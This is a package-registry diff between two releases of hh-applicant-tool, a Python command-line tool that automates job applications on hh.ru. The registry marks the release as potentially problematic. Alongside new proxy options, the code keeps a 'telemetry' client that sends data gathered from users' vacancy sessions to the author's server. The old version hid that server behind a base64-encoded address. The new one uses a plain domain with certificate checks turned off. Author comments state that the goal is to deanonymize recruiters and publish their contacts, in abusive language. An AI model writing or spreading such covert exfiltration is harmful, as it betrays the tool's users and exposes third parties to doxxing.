hh-applicant-tool 0.3.7__py3-none-any.whl → 0.3.9__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of hh-applicant-tool might be problematic. Click here for more details.

@@ -37,6 +37,7 @@ class BaseClient:
37
37
  _: dataclasses.KW_ONLY
38
38
  # TODO: сделать генерацию User-Agent'а как в приложении
39
39
  user_agent: str | None = None
40
+ proxies: dict | None = None
40
41
  session: Session | None = None
41
42
  previous_request_time: float = 0.0
42
43
  delay: float = 0.334
@@ -47,8 +48,8 @@ class BaseClient:
47
48
  self.session = session = requests.session()
48
49
  session.headers.update(
49
50
  {
50
- **self.additional_headers(),
51
51
  "User-Agent": self.user_agent or self.default_user_agent(),
52
+ **self.additional_headers(),
52
53
  }
53
54
  )
54
55
  logger.debug("Default Headers: %r", session.headers)
@@ -105,6 +106,7 @@ class BaseClient:
105
106
  method,
106
107
  url,
107
108
  **{"data" if has_body else "params": params},
109
+ proxies=self.proxies,
108
110
  allow_redirects=False,
109
111
  )
110
112
  try:
hh_applicant_tool/main.py CHANGED
@@ -5,13 +5,13 @@ import logging
5
5
  import sys
6
6
  from abc import ABCMeta, abstractmethod
7
7
  from importlib import import_module
8
- from os import getenv
9
8
  from pathlib import Path
10
9
  from pkgutil import iter_modules
11
- from typing import Sequence
10
+ from typing import Sequence, Literal
12
11
  from .api import ApiClient
13
12
  from .color_log import ColorHandler
14
13
  from .utils import Config, get_config_path
14
+ from os import getenv
15
15
 
16
16
  DEFAULT_CONFIG_PATH = (
17
17
  get_config_path() / __package__.replace("_", "-") / "config.json"
@@ -34,6 +34,15 @@ class Namespace(argparse.Namespace):
34
34
  config: Config
35
35
  verbosity: int
36
36
  delay: float
37
+ user_agent: str
38
+ proxy_url: str
39
+
40
+
41
+ def get_proxies(args: Namespace) -> dict[Literal["http", "https"], str | None]:
42
+ return {
43
+ "http": args.config["proxy_url"] or getenv("HTTP_PROXY"),
44
+ "https": args.config["proxy_url"] or getenv("HTTPS_PROXY"),
45
+ }
37
46
 
38
47
 
39
48
  def get_api(args: Namespace) -> ApiClient:
@@ -41,8 +50,9 @@ def get_api(args: Namespace) -> ApiClient:
41
50
  api = ApiClient(
42
51
  access_token=token.get("access_token"),
43
52
  refresh_token=token.get("refresh_token"),
44
- user_agent=args.config["user_agent"],
45
53
  delay=args.delay,
54
+ user_agent=args.config["user_agent"],
55
+ proxies=get_proxies(args),
46
56
  )
47
57
  return api
48
58
 
@@ -87,6 +97,12 @@ class HHApplicantTool:
87
97
  default=0.334,
88
98
  help="Задержка между запросами к API HH",
89
99
  )
100
+ parser.add_argument(
101
+ "--user-agent", help="User-Agent для каждого запроса"
102
+ )
103
+ parser.add_argument(
104
+ "--proxy-url", help="Прокси, используемый для запросов к API"
105
+ )
90
106
  subparsers = parser.add_subparsers(help="commands")
91
107
  package_dir = Path(__file__).resolve().parent / OPERATIONS
92
108
  for _, module_name, _ in iter_modules([str(package_dir)]):
@@ -94,7 +110,8 @@ class HHApplicantTool:
94
110
  op: BaseOperation = mod.Operation()
95
111
  op_parser = subparsers.add_parser(
96
112
  module_name.replace("_", "-"),
97
- description=op.__doc__, formatter_class=self.ArgumentFormatter
113
+ description=op.__doc__,
114
+ formatter_class=self.ArgumentFormatter,
98
115
  )
99
116
  op_parser.set_defaults(run=op.run)
100
117
  op.setup_parser(op_parser)
@@ -9,10 +9,10 @@ from typing import TextIO, Tuple
9
9
  from ..api import ApiClient, ApiError, BadRequest
10
10
  from ..main import BaseOperation
11
11
  from ..main import Namespace as BaseNamespace, get_api
12
- from ..telemetry_client import TelemetryError
13
- from ..telemetry_client import get_client as get_telemetry_client
12
+ from ..telemetry_client import TelemetryClient, TelemetryError
14
13
  from ..types import ApiListResponse, VacancyItem
15
- from ..utils import fix_datetime, print_err, truncate_string, random_text
14
+ from ..utils import fix_datetime, truncate_string, random_text
15
+ from requests import Session
16
16
 
17
17
  logger = logging.getLogger(__package__)
18
18
 
@@ -159,7 +159,7 @@ class Operation(BaseOperation):
159
159
  search: str | None = None,
160
160
  reply_message: str | None = None,
161
161
  ) -> None:
162
- telemetry_client = get_telemetry_client()
162
+ telemetry_client = TelemetryClient(proxies=api.proxies)
163
163
  telemetry_data = defaultdict(dict)
164
164
 
165
165
  vacancies = self._get_vacancies(
@@ -346,8 +346,7 @@ class Operation(BaseOperation):
346
346
 
347
347
  print("📝 Отклики на вакансии разосланы!")
348
348
 
349
- # Я собираюсь задеанонить всех хрюш яндексов и прочей хуеты, которую
350
- # считаю вселенским злом, так что телеметирию не трогайте
349
+ # Я собираюсь выложить контакты херок в общественный доступ
351
350
  self._send_telemetry(telemetry_client, telemetry_data)
352
351
 
353
352
  def _get_vacancies(
@@ -3,9 +3,11 @@ import json
3
3
  from urllib.parse import urljoin
4
4
  import requests
5
5
  from typing import Optional, Dict, Any
6
- from functools import cache
7
6
  import logging
8
- import base64
7
+ from functools import partialmethod
8
+ import warnings
9
+
10
+ warnings.filterwarnings('ignore', message='Unverified HTTPS request')
9
11
 
10
12
  logger = logging.getLogger(__package__)
11
13
 
@@ -19,40 +21,42 @@ class TelemetryError(Exception):
19
21
  class TelemetryClient:
20
22
  """Клиент для отправки телеметрии на сервер."""
21
23
 
22
- server_address = base64.b64decode(
23
- "aHR0cDovLzMxLjEzMS4yNTEuMTA3OjU0MTU2"
24
- ).decode()
24
+ server_address: str = "https://hh-applicant-tool.mooo.com:54157/"
25
25
 
26
26
  def __init__(
27
27
  self,
28
28
  server_address: Optional[str] = None,
29
+ *,
29
30
  session: Optional[requests.Session] = None,
31
+ user_agent: str = "Mozilla/5.0 (HHApplicantTelemetry/1.0)",
32
+ proxies: dict | None = None,
30
33
  ) -> None:
31
- """
32
- Инициализация клиента.
33
-
34
- :param server_address: Адрес сервера для отправки телеметрии.
35
- :param session: Сессия для повторного использования соединения.
36
- """
37
- self.session = session or requests.Session()
38
34
  self.server_address = os.getenv(
39
35
  "TELEMETRY_SERVER", server_address or self.server_address
40
36
  )
37
+ self.session = session or requests.Session()
38
+ self.user_agent = user_agent
39
+ self.proxies = proxies
41
40
 
42
- def send_telemetry(
43
- self, endpoint: str, data: Dict[str, Any]
41
+ def request(
42
+ self,
43
+ method: str,
44
+ endpoint: str,
45
+ data: Dict[str, Any] | None = None,
44
46
  ) -> Dict[str, Any]:
45
- """
46
- Отправка телеметрии на сервер.
47
-
48
- :param endpoint: Конечная точка на сервере.
49
- :param data: Данные для отправки.
50
- :return: Ответ сервера в формате JSON.
51
- :raises TelemetryError: Если произошла ошибка при отправке или декодировании JSON.
52
- """
47
+ method = method.upper()
53
48
  url = urljoin(self.server_address, endpoint)
49
+ has_body = method in ["POST", "PUT", "PATCH"]
54
50
  try:
55
- response = self.session.post(url, json=data)
51
+ response = self.session.request(
52
+ method,
53
+ url,
54
+ headers={"User-Agent": self.user_agent},
55
+ proxies=self.proxies,
56
+ params=data if not has_body else None,
57
+ json=data if has_body else None,
58
+ verify=False, # Игнорирование истекшего сертификата
59
+ )
56
60
  # response.raise_for_status()
57
61
  result = response.json()
58
62
  if "error" in result:
@@ -65,7 +69,4 @@ class TelemetryClient:
65
69
  ) as ex:
66
70
  raise TelemetryError(str(ex)) from ex
67
71
 
68
-
69
- @cache
70
- def get_client() -> TelemetryClient:
71
- return TelemetryClient()
72
+ send_telemetry = partialmethod(request, "POST")
@@ -10,7 +10,8 @@ from threading import Lock
10
10
  from typing import Any
11
11
  from os import getenv
12
12
  from .constants import INVALID_ISO8601_FORMAT
13
- import re, random
13
+ import re
14
+ import random
14
15
 
15
16
  print_err = partial(print, file=sys.stderr, flush=True)
16
17
 
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: hh-applicant-tool
3
- Version: 0.3.7
3
+ Version: 0.3.9
4
4
  Summary:
5
5
  Author: Senior YAML Developer
6
6
  Author-email: yamldeveloper@proton.me
@@ -14,7 +14,7 @@ Provides-Extra: qt
14
14
  Requires-Dist: prettytable (>=3.6.0,<4.0.0)
15
15
  Requires-Dist: pyqt6 (>=6.7.1,<7.0.0) ; extra == "qt"
16
16
  Requires-Dist: pyqt6-webengine (>=6.7.0,<7.0.0) ; extra == "qt"
17
- Requires-Dist: requests (>=2.28.2,<3.0.0)
17
+ Requires-Dist: requests[socks] (>=2.32.3,<3.0.0)
18
18
  Description-Content-Type: text/markdown
19
19
 
20
20
  ## HH Applicant Tool
@@ -168,13 +168,13 @@ $ hh-applicant-tool refresh-token
168
168
  | **Linux** | `~/.config/hh-applicant-tool/config.json` |
169
169
 
170
170
 
171
- Через этот файл, например, можно задать кастомный `user_agent`:
171
+ Через конфиг можно задать дополнительные настройки:
172
172
 
173
- ```json
174
- {
175
- "user_agent": "Mozilla/5.0 YablanBrowser"
176
- }
177
- ```
173
+ | Имя атрибута | Описание |
174
+ | --- | --- |
175
+ | `user_agent` | Кастомный юзерагент, передаваемый при кажом запросе, например, `Mozilla/5.0 YablanBrowser` |
176
+ | `proxy_url` | Прокси, используемый для всех запросов, например, `socks5h://127.0.0.1:9050` |
177
+ | `reply_message` | Сообщение для ответа работодателю при отклике на вакансии, см. формат сообщений |
178
178
 
179
179
  ### Описание команд
180
180
 
@@ -261,7 +261,7 @@ https://hh.ru/employer/1918903
261
261
  Эти плейсхолдеры могут быть использованы в сообщениях для отклика на вакансии, чтобы динамически подставлять соответствующие данные в текст сообщения. Например:
262
262
 
263
263
  ```
264
- "Меня заинтересовала ваша вакансия %(vacancy_name)s. Прошу рассмотреть мою кандидатуру. С уважением, %(first_name)s %(last_name)s."
264
+ Меня заинтересовала ваша вакансия %(vacancy_name)s. Прошу рассмотреть мою кандидатуру. С уважением, %(first_name)s %(last_name)s.
265
265
  ```
266
266
 
267
267
  Так же можно делать текст уникальным с помощью `{}`. Внутри них через `|` перечисляются варианты, один из которых будет случайно выбран:
@@ -1,13 +1,13 @@
1
1
  hh_applicant_tool/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
2
2
  hh_applicant_tool/__main__.py,sha256=cwKJAAML0RRKT9Qbzcwf07HHcuSd8oh7kx4P1apndWQ,84
3
3
  hh_applicant_tool/api/__init__.py,sha256=kgFSHibRaAugN2BA3U1djEa20qgKJUUVouwJzjEB0DU,84
4
- hh_applicant_tool/api/client.py,sha256=c0XBEQIS-kPi2JeS9TmgcO8ZyOjV6HsgiwZRcKUOQCI,7927
4
+ hh_applicant_tool/api/client.py,sha256=um9NX22hNOtSuPCobCKf1anIFp-jiZlIXm4BuqN-L7k,7997
5
5
  hh_applicant_tool/api/errors.py,sha256=0SoWKnsSUA0K2YgQA8GwGhe-pRMwtfK94MR6_MgbORQ,1722
6
6
  hh_applicant_tool/color_log.py,sha256=gN6j1Ayy1G7qOMI_e3WvfYw_ublzeQbKgsVLhqGg_3s,823
7
7
  hh_applicant_tool/constants.py,sha256=lpgKkP2chWgTnBXvzxbSPWpKcfzp8VxMTlkssFcQhH4,469
8
- hh_applicant_tool/main.py,sha256=sL9eSWUkOz-NJbkq8PxRluvXUh5AqLVi7qmrdN1YAKY,3996
8
+ hh_applicant_tool/main.py,sha256=B_kI9MlaT_064r5CL7Pjlzu76QPB-hXCaMpFtB-BOfg,4596
9
9
  hh_applicant_tool/operations/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
10
- hh_applicant_tool/operations/apply_similar.py,sha256=SbSrZPbQkOcDqbuV8mqX9lMRsvBYLwq3xVnpQcbM3Q0,17166
10
+ hh_applicant_tool/operations/apply_similar.py,sha256=8L0Im0bPRxn-tsteI9X4D5gPpr6PemuzK0x-IszrOis,17021
11
11
  hh_applicant_tool/operations/authorize.py,sha256=TyUTCSOGwSYVJMEd5vSI981LRRI-RZf8hnlVYhtRVwA,3184
12
12
  hh_applicant_tool/operations/call_api.py,sha256=qwPDrWP9tiqHkaYYWYBZtymj9AaxObB86Eny-Bf5q_c,1314
13
13
  hh_applicant_tool/operations/clear_negotiations.py,sha256=98Yuw9xP4dN5sUnUKlZxqfhU40TQ-aCjK4vj4LRTeYo,3894
@@ -15,10 +15,10 @@ hh_applicant_tool/operations/list_resumes.py,sha256=XBrVFTnl45BUtuvjVm70h_CXZrOv
15
15
  hh_applicant_tool/operations/refresh_token.py,sha256=hYTmzBzJFSsb-LDO2_w0Y30WVWsctIH7vTzirkLwzWo,1267
16
16
  hh_applicant_tool/operations/update_resumes.py,sha256=gGxMYMoT9GqJjwn4AgrOAEJCZu4sdhaV0VmPr3jG-q8,1049
17
17
  hh_applicant_tool/operations/whoami.py,sha256=sg0r7m6oKkpMEmGt4QdtYdS-1gf-1KKdnk32yblbRJs,714
18
- hh_applicant_tool/telemetry_client.py,sha256=1jgbc8oMfLhbEi2pTA2fF0pKlHSWekHY3oEJCDI8Uas,2268
18
+ hh_applicant_tool/telemetry_client.py,sha256=nNNr1drXY9Z01u5tJX---BXxBg1y06nJpNbhU45DmE0,2239
19
19
  hh_applicant_tool/types.py,sha256=q3yaIcq-UOkPzjxws0OFa4w9fTty-yx79_dic70_dUM,843
20
- hh_applicant_tool/utils.py,sha256=DKD1b4mItuUugP6aV2vEoO59cIU2mJp5twc8WdvaSA4,2551
21
- hh_applicant_tool-0.3.7.dist-info/METADATA,sha256=hYTuJoXxmRrCEnvcvdJz4AJEFKm6nHL6o2udu0Bi1bI,20109
22
- hh_applicant_tool-0.3.7.dist-info/WHEEL,sha256=Nq82e9rUAnEjt98J6MlVmMCZb-t9cYE2Ir1kpBmnWfs,88
23
- hh_applicant_tool-0.3.7.dist-info/entry_points.txt,sha256=Vb7M2YaYLMtKYJZh8chIrXZApMzSRFT1-rQw-U9r10g,65
24
- hh_applicant_tool-0.3.7.dist-info/RECORD,,
20
+ hh_applicant_tool/utils.py,sha256=lHQh94CEwWp14Ty50ecZPcR3YyqLDVlmgmZlrBiBgHQ,2557
21
+ hh_applicant_tool-0.3.9.dist-info/METADATA,sha256=FbQA5oxUmGEGhuUehYcci7vMrUmiad0a8OUqPOHqsG8,20575
22
+ hh_applicant_tool-0.3.9.dist-info/WHEEL,sha256=Nq82e9rUAnEjt98J6MlVmMCZb-t9cYE2Ir1kpBmnWfs,88
23
+ hh_applicant_tool-0.3.9.dist-info/entry_points.txt,sha256=Vb7M2YaYLMtKYJZh8chIrXZApMzSRFT1-rQw-U9r10g,65
24
+ hh_applicant_tool-0.3.9.dist-info/RECORD,,